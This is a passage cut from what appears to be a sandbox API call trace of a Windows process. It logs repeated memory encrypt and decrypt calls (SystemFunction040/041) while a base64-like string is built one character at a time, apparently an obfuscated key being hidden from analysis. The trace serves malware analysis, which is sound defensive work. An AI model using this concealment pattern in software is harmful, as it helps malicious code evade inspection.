(param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0129.819] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0129.819] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.819] SysStringLen (param_1="YWM1O") returned 0x8 [0129.819] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.819] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0129.819] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0129.819] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.819] SysStringLen (param_1="YWM1OT") returned 0x8 [0129.819] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.819] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0129.819] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0129.819] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.819] SysStringLen (param_1="YWM1OTE") returned 0x8 [0129.819] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.820] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0129.820] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0129.820] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.820] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0129.820] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.820] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0129.820] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0129.820] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0129.820] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0129.820] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.820] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0129.820] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.820] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0129.820] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0129.820] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.820] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0129.820] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0129.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0129.821] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.821] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0129.821] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0129.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0129.821] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.821] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0129.821] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0129.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0129.821] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.821] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0129.821] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0129.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0129.821] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.822] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0129.822] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0129.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0129.822] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.822] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0129.822] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0129.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0129.822] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.822] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0129.822] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0129.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0129.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0129.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0129.822] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.823] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0129.823] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.823] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0129.823] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0129.823] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.823] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0129.823] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.823] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0129.823] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0129.823] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.823] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0129.823] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.823] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0129.823] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0129.823] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.823] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0129.823] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.824] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0129.824] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0129.824] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.824] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0129.824] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.824] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0129.824] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0129.824] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.824] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0129.824] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.824] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0129.824] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0129.824] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.824] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0129.824] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.824] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0129.824] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0129.824] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.825] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0129.825] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.825] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0129.825] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0129.825] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0129.825] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0129.825] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.825] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0129.825] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.825] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0129.825] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0129.825] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.825] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0129.825] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.825] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0129.825] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0129.825] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.826] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0129.826] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.826] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0129.826] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0129.826] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.826] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0129.826] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.826] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0129.826] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0129.826] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.826] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0129.826] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.826] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0129.826] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0129.826] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.826] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0129.826] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0129.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0129.827] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.827] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0129.827] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0129.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0129.827] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.827] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0129.827] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0129.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0129.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0129.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0129.827] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.827] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0129.827] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0129.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0129.828] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.828] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0129.828] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0129.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0129.828] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, 